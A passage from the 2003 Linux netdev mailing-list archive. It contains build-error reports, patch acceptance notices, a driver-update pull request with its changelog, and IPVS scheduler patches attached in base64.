with ECARTIS (v1.0.0; list netdev); Fri, 26 Sep 2003 22:20:39 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8R5KSFx011487 for ; Fri, 26 Sep 2003 22:20:29 -0700 Received: from localhost (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id h8R5KL131221; Fri, 26 Sep 2003 22:20:21 -0700 Date: Fri, 26 Sep 2003 22:20:21 -0700 (PDT) From: Linus Torvalds To: Jeff Garzik cc: netdev@oss.sgi.com Subject: Re: [bk patches] 2.6.x net driver updates In-Reply-To: <20030926010218.GA32679@gtf.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 293 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: torvalds@osdl.org Precedence: bulk X-list: netdev Content-Length: 616 Lines: 19 Hmm.. "make allyesconfig" is broken again: drivers/net/hamradio/baycom_epp.c:1447: conflicting types for `baycom_epp_setup' drivers/net/hamradio/baycom_epp.c:1359: previous declaration of `baycom_epp_setup' and drivers/net/sk98lin/skdim.c: In function `GetCurrentSystemLoad': drivers/net/sk98lin/skdim.c:322: `smp_num_cpus' undeclared (first use in this function) drivers/net/sk98lin/skdim.c:322: (Each undeclared identifier is reported only once drivers/net/sk98lin/skdim.c:322: for each function it appears in.) drivers/net/sk98lin/skdim.c:322: warning: unused variable `SKNumCpus' Pls fix, Linus From jgarzik@pobox.com Sat Sep 27 02:58:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 02:58:09 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8R9w4Fx032358 for ; Sat, 27 Sep 2003 02:58:04 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:32964 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A3Bpz-0003H7-4C; Sat, 27 Sep 2003 10:58:03 +0100 Message-ID: <3F755F21.10601@pobox.com> Date: Sat, 27 Sep 2003 05:57:53 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com Subject: Re: [e1000 2.6 1/4] flow control updates References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 295 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 36 Lines: 3 all four patches applied to 2.6.x From jgarzik@pobox.com Sat Sep 27 02:58:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 02:58:28 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8R9wNFx032462 for ; Sat, 27 Sep 2003 02:58:23 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:32965 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A3BqI-0003HG-Fc; Sat, 27 Sep 2003 10:58:22 +0100 Message-ID: <3F755F34.8090604@pobox.com> Date: Sat, 27 Sep 2003 05:58:12 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com Subject: Re: [e100 2.6 1/3] PRO/10+ not configured properly References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 296 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 37 Lines: 3 all three patches applied to 2.6.x From jgarzik@pobox.com Sat Sep 27 02:57:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 02:58:01 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8R9vgFx032346 for ; Sat, 27 Sep 2003 02:57:43 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:32962 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A3Bpd-0003Gx-6S; Sat, 27 Sep 2003 10:57:41 +0100 Message-ID: <3F755F0A.4070304@pobox.com> Date: Sat, 27 Sep 2003 05:57:30 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: Mirko Lindner , Ralph Roesler , netdev@oss.sgi.com Subject: Re: [PATCH] (1/3) sk98lin -- build on smp fix References: <20030904160658.5ae22c0d.shemminger@osdl.org> <1220606764.18887.129.camel@mlindner-lin> <20030926111747.27199054.shemminger@osdl.org> In-Reply-To: <20030926111747.27199054.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 294 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 43 Lines: 3 all three patches in this series applied From garzik@gtf.org Sat Sep 27 04:55:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 04:55:46 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8RBtVFx005569 for ; Sat, 27 Sep 2003 04:55:32 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id D0AB666A4; Sat, 27 Sep 2003 07:55:25 -0400 (EDT) Date: Sat, 27 Sep 2003 07:55:25 -0400 From: Jeff Garzik To: torvalds@osdl.org Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: [BK PATCHES] 2.6.x net driver updates Message-ID: <20030927115525.GA26903@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 297 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 6879 Lines: 219 This should fix the build. Only thing left not building is g_ncr5380... Linus, please do a bk pull bk://kernel.bkbits.net/jgarzik/net-drivers-2.5 This will update the following files: drivers/usb/net/Makefile.mii | 6 drivers/net/Kconfig | 11 drivers/net/Makefile | 28 -- drivers/net/e100/e100.h | 1 drivers/net/e100/e100_config.c | 2 drivers/net/e100/e100_config.h | 1 drivers/net/e100/e100_main.c | 49 +--- drivers/net/e1000/e1000.h | 8 drivers/net/e1000/e1000_ethtool.c | 14 - drivers/net/e1000/e1000_hw.c | 39 +-- drivers/net/e1000/e1000_hw.h | 2 drivers/net/e1000/e1000_main.c | 90 ++++--- drivers/net/e1000/e1000_osdep.h | 2 drivers/net/hamradio/baycom_epp.c | 4 drivers/net/pcmcia/Kconfig | 1 drivers/net/pcmcia/smc91c92_cs.c | 8 drivers/net/sk98lin/skdim.c | 5 drivers/net/sk98lin/skge.c | 103 +++----- drivers/net/sk98lin/skproc.c | 463 ++++++++++++++++---------------------- drivers/net/tulip/Kconfig | 1 drivers/net/wan/sealevel.c | 36 +- drivers/net/wan/z85230.c | 58 ++-- drivers/net/wireless/orinoco.c | 4 drivers/usb/net/Kconfig | 2 24 files changed, 447 insertions(+), 491 deletions(-) through these ChangeSets: (03/09/27 1.1371) [PATCH] select MII The patch below switches MII to be select'ed instead of including it in the Makefile. Note that this patch requires a recent Linus' tree with the select CRC32 patch included. diffstat output: drivers/net/Kconfig | 11 +++++++++++ drivers/net/Makefile | 28 +++++++++++----------------- drivers/net/pcmcia/Kconfig | 1 + drivers/net/tulip/Kconfig | 1 + drivers/usb/net/Kconfig | 2 ++ drivers/usb/net/Makefile.mii | 6 ------ 6 files changed, 26 insertions(+), 23 deletions(-) Tangential to the patch I observed a small problem (not fixed in the patch): MII depends on NET_ETHERNET, but USB_PEGASUS and USB_USBNET depend only on NET. cu Adrian (03/09/27 1.1370) [PATCH] wan/z8530 deadlocks Existing code for drivers/net/wan/z8530 is riddled with self-deadlocks and irq flag confusion. For example: z8530_init -> do_z8530_init -> write_zsreg self deadlocks on the channel lock. Several places acquire both the channel and dma lock and then reuse the same irq flags variable - ouch. This code at least, correctly probes (for no device case) on SMP. Other paths verified by inspection. (03/09/27 1.1369) [PATCH] sealevel -- syncppp startup fix The sealevel driver called sppp_attach before checking that board existed and never called detach in the error path. My change is to call sppp_attach from the netdev->init hook which happens later in the process, and call detach from the uninit hook. Also, changed the structure element 'netdev' to 'pppdev' to avoid confusion. Here is the fix against 2.6.0-test5 latest (03/09/27 1.1368) [netdrvr smc91c92_cs] select proper bank for MII registers (03/09/27 1.1367) [netdrvr] build fixes For e1000 and baycom_epp. Contributed by Jeff Garzik. (03/09/27 1.1366) [PATCH] janitor: e100: cleanup #includes Hi, Please apply to 2.6.0-test5-current. Thanks, -- ~Randy From: Randy Hron Remove unneeded include of version.h. Test compiled against 2.6.0-test5-bk9. linux-260-t5bk12-kj-rddunlap/drivers/net/e100/e100.h | 1 - 1 files changed, 1 deletion(-) (03/09/27 1.1365) [PATCH] janitor: hermes: delete verify_area call Hi, Please apply to 2.6.0-test5-current. Thanks, -- ~Randy From: Domen Puncer IMO, that verify_area wasn't needed. linux-260-t5bk12-kj-rddunlap/drivers/net/wireless/orinoco.c | 4 ---- 1 files changed, 4 deletions(-) (03/09/27 1.1364) [e100] trying to pci_alloc before pci_enable * Some archs don't like calling pci_alloc_consistent before calling pci_enable_device. (Imagine that). This corrects that. (03/09/27 1.1363) [e100] h/w can't do IPv6 checksum offloading * Driver was advertising HW_CSUM, but hardware is only capable of IP_CSUM. (03/09/27 1.1362) [e100] PRO/10+ not configured properly * PRO/10+ (10 Mbps-only card) was not configured properly so it didn't pass traffic. (03/09/27 1.1361) [e1000] misc * removed unused var, ASSERT macro * missed a free_netdev() in probe cleanup undo. (03/09/27 1.1360) [e1000] better propagation of error codes * Better propagation of error codes during probe/open paths. {Janice Girouard (janiceg@us.ibm.com)] (03/09/27 1.1359) [e1000] force 1000/full on SERDES connected to back-plane * Bug fix: SERDES devices might be connected to back-plan switch that doesn't support auto-neg, so add the capability to force 1000/full. (03/09/27 1.1358) [e1000] flow control updates * handle ethtool force flow control * correctly set flow control hi/low watermarks based on size of Rx FIFO area. The size can change if doing Jumbo Frames or, in the case of 82547, is smaller to start with. * was not properly forcing flow control settings to fc_none if using strict IEEE flow control override. (03/09/27 1.1357) [netdrvr sk98lin] use seq_file for /proc Replace proc_read with seq_file interface which is much cleaner. Also, instead of searching the list of devices looking for the name which is slow and would break if interface name changes; store a pointer to device in the proc entry, and retrieve it from the information saved by single_open. Formatting and other behaviours are retained. (03/09/27 1.1356) [netdrvr skge] handle proc_fs errors. Existing code does not - check if proc_fs functions return error. - use proc_mkdir to make the directory. Note pSkRootDir defined twice. (03/09/27 1.1355) [netdrvr sk98lin] build on smp fix There is no exported variable called smp_num_cpus! so this driver won't build on SMP. Since the local variable is never used anyway just get rid of it. This applies against 2.6.0-test5-bk13 which has the last vendor driver update. From ja@ssi.bg Sat Sep 27 05:27:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 05:27:25 -0700 (PDT) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8RCQUFx008148 for ; Sat, 27 Sep 2003 05:26:34 -0700 Received: from localhost (IDENT:ja@localhost [127.0.0.1]) by u.domain.uli (8.11.6/8.11.6) with ESMTP id h8RC2vb10612; Sat, 27 Sep 2003 15:02:59 +0300 Date: Sat, 27 Sep 2003 15:02:57 +0300 (EEST) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: Wensong Zhang , Subject: [PATCHES] IPVS - use list_for_each_entry_continue, fix NQ Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1607745702-1126575391-1064664177=:2845" X-archive-position: 298 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 17189 Lines: 300 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1607745702-1126575391-1064664177=:2845 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, The attached patches against today's 2.6 BK tree introduce list_for_each_entry_continue and use it for some IPVS schedulers. There is also a NQ scheduler fix. Please consider for inclusion. Regards -- Julian Anastasov --1607745702-1126575391-1064664177=:2845 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="00_list_cont-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Introduce list_for_each_entry_continue Content-Disposition: attachment; filename="00_list_cont-1.diff" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTM1MiAgLT4gMS4xMzUzIA0KIwlp bmNsdWRlL2xpbnV4L2xpc3QuaAkxLjM0ICAgIC0+IDEuMzUgICANCiMNCiMg VGhlIGZvbGxvd2luZyBpcyB0aGUgQml0S2VlcGVyIENoYW5nZVNldCBMb2cN CiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0NCiMgMDMvMDkvMjcJamFAc3NpLmJnCTEuMTM1Mw0KIyBJbnRyb2R1Y2Ug bGlzdF9mb3JfZWFjaF9lbnRyeV9jb250aW51ZQ0KIyAtLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIw0KZGlmZiAtTnJ1 IGEvaW5jbHVkZS9saW51eC9saXN0LmggYi9pbmNsdWRlL2xpbnV4L2xpc3Qu aA0KLS0tIGEvaW5jbHVkZS9saW51eC9saXN0LmgJU2F0IFNlcCAyNyAxMDo0 Mzo1OCAyMDAzDQorKysgYi9pbmNsdWRlL2xpbnV4L2xpc3QuaAlTYXQgU2Vw IDI3IDEwOjQzOjU4IDIwMDMNCkBAIC0zMjUsNiArMzI1LDE5IEBADQogCSAg ICAgcG9zID0gbGlzdF9lbnRyeShwb3MtPm1lbWJlci5wcmV2LCB0eXBlb2Yo KnBvcyksIG1lbWJlciksCVwNCiAJCSAgICAgcHJlZmV0Y2gocG9zLT5tZW1i ZXIucHJldikpDQogDQorLyoqDQorICogbGlzdF9mb3JfZWFjaF9lbnRyeV9j b250aW51ZSAtCWl0ZXJhdGUgb3ZlciBsaXN0IG9mIGdpdmVuIHR5cGUNCisg KgkJCWNvbnRpbnVpbmcgYWZ0ZXIgZXhpc3RpbmcgcG9pbnQNCisgKiBAcG9z Ogl0aGUgdHlwZSAqIHRvIHVzZSBhcyBhIGxvb3AgY291bnRlci4NCisgKiBA aGVhZDoJdGhlIGhlYWQgZm9yIHlvdXIgbGlzdC4NCisgKiBAbWVtYmVyOgl0 aGUgbmFtZSBvZiB0aGUgbGlzdF9zdHJ1Y3Qgd2l0aGluIHRoZSBzdHJ1Y3Qu DQorICovDQorI2RlZmluZSBsaXN0X2Zvcl9lYWNoX2VudHJ5X2NvbnRpbnVl KHBvcywgaGVhZCwgbWVtYmVyKSAJCVwNCisJZm9yIChwb3MgPSBsaXN0X2Vu dHJ5KHBvcy0+bWVtYmVyLm5leHQsIHR5cGVvZigqcG9zKSwgbWVtYmVyKSwJ XA0KKwkJICAgICBwcmVmZXRjaChwb3MtPm1lbWJlci5uZXh0KTsJCQlcDQor CSAgICAgJnBvcy0+bWVtYmVyICE9IChoZWFkKTsJCQkJCVwNCisJICAgICBw b3MgPSBsaXN0X2VudHJ5KHBvcy0+bWVtYmVyLm5leHQsIHR5cGVvZigqcG9z KSwgbWVtYmVyKSwJXA0KKwkJICAgICBwcmVmZXRjaChwb3MtPm1lbWJlci5u ZXh0KSkNCiANCiAvKioNCiAgKiBsaXN0X2Zvcl9lYWNoX2VudHJ5X3NhZmUg LSBpdGVyYXRlIG92ZXIgbGlzdCBvZiBnaXZlbiB0eXBlIHNhZmUgYWdhaW5z dCByZW1vdmFsIG9mIGxpc3QgZW50cnkNCg== --1607745702-1126575391-1064664177=:2845 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="00_gcd-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: [IPV4/IPVS] Simplify ip_vs_wrr_gcd_weight Content-Disposition: attachment; filename="00_gcd-1.diff" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTM1MyAgLT4gMS4xMzU0IA0KIwlu ZXQvaXB2NC9pcHZzL2lwX3ZzX3dyci5jCTEuMiAgICAgLT4gMS4zICAgIA0K Iw0KIyBUaGUgZm9sbG93aW5nIGlzIHRoZSBCaXRLZWVwZXIgQ2hhbmdlU2V0 IExvZw0KIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLQ0KIyAwMy8wOS8yNwlqYUBzc2kuYmcJMS4xMzU0DQojIFtJUFY0 L0lQVlNdIFNpbXBsaWZ5IGlwX3ZzX3dycl9nY2Rfd2VpZ2h0DQojIC0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojDQpk aWZmIC1OcnUgYS9uZXQvaXB2NC9pcHZzL2lwX3ZzX3dyci5jIGIvbmV0L2lw djQvaXB2cy9pcF92c193cnIuYw0KLS0tIGEvbmV0L2lwdjQvaXB2cy9pcF92 c193cnIuYwlTYXQgU2VwIDI3IDExOjA2OjI5IDIwMDMNCisrKyBiL25ldC9p cHY0L2lwdnMvaXBfdnNfd3JyLmMJU2F0IFNlcCAyNyAxMTowNjoyOSAyMDAz DQpAQCAtNTgsMjYgKzU4LDE4IEBADQogew0KIAlzdHJ1Y3QgaXBfdnNfZGVz dCAqZGVzdDsNCiAJaW50IHdlaWdodDsNCi0JaW50IGcgPSAxOw0KKwlpbnQg ZyA9IDA7DQogDQogCWxpc3RfZm9yX2VhY2hfZW50cnkoZGVzdCwgJnN2Yy0+ ZGVzdGluYXRpb25zLCBuX2xpc3QpIHsNCiAJCXdlaWdodCA9IGF0b21pY19y ZWFkKCZkZXN0LT53ZWlnaHQpOw0KIAkJaWYgKHdlaWdodCA+IDApIHsNCi0J CQlnID0gd2VpZ2h0Ow0KLQkJCWdvdG8gc2VhcmNoX2djZDsNCisJCQlpZiAo ZyA+IDApDQorCQkJCWcgPSBnY2Qod2VpZ2h0LCBnKTsNCisJCQllbHNlDQor CQkJCWcgPSB3ZWlnaHQ7DQogCQl9DQogCX0NCi0NCi0JcmV0dXJuIGc7DQot DQotIHNlYXJjaF9nY2Q6DQotCWxpc3RfZm9yX2VhY2hfZW50cnkoZGVzdCwg JnN2Yy0+ZGVzdGluYXRpb25zLCBuX2xpc3QpIHsNCi0JCXdlaWdodCA9IGF0 b21pY19yZWFkKCZkZXN0LT53ZWlnaHQpOw0KLQkJaWYgKHdlaWdodCA+IDAp DQotCQkJZyA9IGdjZCh3ZWlnaHQsIGcpOw0KLQl9DQotDQotCXJldHVybiBn Ow0KKwlyZXR1cm4gZyA/IGcgOiAxOw0KIH0NCiANCiANCg== --1607745702-1126575391-1064664177=:2845 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="00_nq_weight-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: [IPV4/IPVS] NQ scheduler fix Content-Disposition: attachment; filename="00_nq_weight-1.diff" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTM1NCAgLT4gMS4xMzU1IA0KIwlu ZXQvaXB2NC9pcHZzL2lwX3ZzX25xLmMJMS4yICAgICAtPiAxLjMgICAgDQoj DQojIFRoZSBmb2xsb3dpbmcgaXMgdGhlIEJpdEtlZXBlciBDaGFuZ2VTZXQg TG9nDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tDQojIDAzLzA5LzI3CWphQHNzaS5iZwkxLjEzNTUNCiMgW0lQVjQv SVBWU10gVGhlIE5RIHNjaGVkdWxlciBtdXN0IG5vdCByZXR1cm4gc2VydmVy cyB3aXRoIHdlaWdodCAwDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tDQojDQpkaWZmIC1OcnUgYS9uZXQvaXB2NC9p cHZzL2lwX3ZzX25xLmMgYi9uZXQvaXB2NC9pcHZzL2lwX3ZzX25xLmMNCi0t LSBhL25ldC9pcHY0L2lwdnMvaXBfdnNfbnEuYwlTYXQgU2VwIDI3IDEzOjQ3 OjE4IDIwMDMNCisrKyBiL25ldC9pcHY0L2lwdnMvaXBfdnNfbnEuYwlTYXQg U2VwIDI3IDEzOjQ3OjE4IDIwMDMNCkBAIC04MSw4ICs4MSw4IEBADQogc3Rh dGljIHN0cnVjdCBpcF92c19kZXN0ICoNCiBpcF92c19ucV9zY2hlZHVsZShz dHJ1Y3QgaXBfdnNfc2VydmljZSAqc3ZjLCBzdHJ1Y3QgaXBoZHIgKmlwaCkN CiB7DQotCXN0cnVjdCBpcF92c19kZXN0ICpkZXN0LCAqbGVhc3Q7DQotCXVu c2lnbmVkIGludCBsb2gsIGRvaDsNCisJc3RydWN0IGlwX3ZzX2Rlc3QgKmRl c3QsICpsZWFzdCA9IE5VTEw7DQorCXVuc2lnbmVkIGludCBsb2ggPSAwLCBk b2g7DQogDQogCUlQX1ZTX0RCRyg2LCAiaXBfdnNfbnFfc2NoZWR1bGUoKTog U2NoZWR1bGluZy4uLlxuIik7DQogDQpAQCAtOTksMjcgKzk5LDEwIEBADQog CSAqIG5ldyBjb25uZWN0aW9ucy4NCiAJICovDQogDQotCWxpc3RfZm9yX2Vh Y2hfZW50cnkobGVhc3QsICZzdmMtPmRlc3RpbmF0aW9ucywgbl9saXN0KSB7 DQotCQlpZiAoIShsZWFzdC0+ZmxhZ3MgJiBJUF9WU19ERVNUX0ZfT1ZFUkxP QUQpICYmDQotCQkgICAgYXRvbWljX3JlYWQoJmxlYXN0LT53ZWlnaHQpID4g MCkgew0KLQkJCWxvaCA9IGlwX3ZzX25xX2Rlc3Rfb3ZlcmhlYWQobGVhc3Qp Ow0KLQ0KLQkJCS8qIHJldHVybiB0aGUgc2VydmVyIGRpcmVjdGx5IGlmIGl0 IGlzIGlkbGUgKi8NCi0JCQlpZiAoYXRvbWljX3JlYWQoJmxlYXN0LT5hY3Rp dmVjb25ucykgPT0gMCkNCi0JCQkJZ290byBvdXQ7DQotDQotCQkJZ290byBu ZXh0c3RhZ2U7DQotCQl9DQotCX0NCi0JcmV0dXJuIE5VTEw7DQotDQotCS8q DQotCSAqICAgIEZpbmQgdGhlIGRlc3RpbmF0aW9uIHdpdGggdGhlIGxlYXN0 IGxvYWQuDQotCSAqLw0KLSAgbmV4dHN0YWdlOg0KIAlsaXN0X2Zvcl9lYWNo X2VudHJ5KGRlc3QsICZzdmMtPmRlc3RpbmF0aW9ucywgbl9saXN0KSB7DQog DQotCQlpZiAoZGVzdC0+ZmxhZ3MgJiBJUF9WU19ERVNUX0ZfT1ZFUkxPQUQp DQorCQlpZiAoZGVzdC0+ZmxhZ3MgJiBJUF9WU19ERVNUX0ZfT1ZFUkxPQUQg fHwNCisJCSAgICAhYXRvbWljX3JlYWQoJmRlc3QtPndlaWdodCkpDQogCQkJ Y29udGludWU7DQogDQogCQlkb2ggPSBpcF92c19ucV9kZXN0X292ZXJoZWFk KGRlc3QpOw0KQEAgLTEyNywxNSArMTEwLDIwIEBADQogCQkvKiByZXR1cm4g dGhlIHNlcnZlciBkaXJlY3RseSBpZiBpdCBpcyBpZGxlICovDQogCQlpZiAo YXRvbWljX3JlYWQoJmRlc3QtPmFjdGl2ZWNvbm5zKSA9PSAwKSB7DQogCQkJ bGVhc3QgPSBkZXN0Ow0KKwkJCWxvaCA9IGRvaDsNCiAJCQlnb3RvIG91dDsN CiAJCX0NCiANCi0JCWlmIChsb2ggKiBhdG9taWNfcmVhZCgmZGVzdC0+d2Vp Z2h0KSA+DQotCQkgICAgZG9oICogYXRvbWljX3JlYWQoJmxlYXN0LT53ZWln aHQpKSB7DQorCQlpZiAoIWxlYXN0IHx8DQorCQkgICAgKGxvaCAqIGF0b21p Y19yZWFkKCZkZXN0LT53ZWlnaHQpID4NCisJCSAgICAgZG9oICogYXRvbWlj X3JlYWQoJmxlYXN0LT53ZWlnaHQpKSkgew0KIAkJCWxlYXN0ID0gZGVzdDsN CiAJCQlsb2ggPSBkb2g7DQogCQl9DQogCX0NCisNCisJaWYgKCFsZWFzdCkN CisJCXJldHVybiBOVUxMOw0KIA0KICAgb3V0Og0KIAlJUF9WU19EQkcoNiwg Ik5ROiBzZXJ2ZXIgJXUuJXUuJXUuJXU6JXUgIg0K --1607745702-1126575391-1064664177=:2845 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="01_sched_list_cont.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: [IPV4/IPVS] Use list_for_each_entry_continue Content-Disposition: attachment; filename="01_sched_list_cont.diff" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTM1NSAgLT4gMS4xMzU2IA0KIwlu ZXQvaXB2NC9pcHZzL2lwX3ZzX3dsYy5jCTEuMiAgICAgLT4gMS4zICAgIA0K IwluZXQvaXB2NC9pcHZzL2lwX3ZzX2xibGNyLmMJMS41ICAgICAtPiAxLjYg ICAgDQojCW5ldC9pcHY0L2lwdnMvaXBfdnNfbGJsYy5jCTEuNCAgICAgLT4g MS41ICAgIA0KIwluZXQvaXB2NC9pcHZzL2lwX3ZzX2xjLmMJMS4yICAgICAt PiAxLjMgICAgDQojCW5ldC9pcHY0L2lwdnMvaXBfdnNfc2VkLmMJMS4yICAg ICAtPiAxLjMgICAgDQojDQojIFRoZSBmb2xsb3dpbmcgaXMgdGhlIEJpdEtl ZXBlciBDaGFuZ2VTZXQgTG9nDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIDAzLzA5LzI3CWphQHNzaS5iZwkx LjEzNTYNCiMgW0lQVjQvSVBWU10gVXNlIGxpc3RfZm9yX2VhY2hfZW50cnlf Y29udGludWUgaW4gc29tZSBzY2hlZHVsZXJzDQojIC0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojDQpkaWZmIC1OcnUg 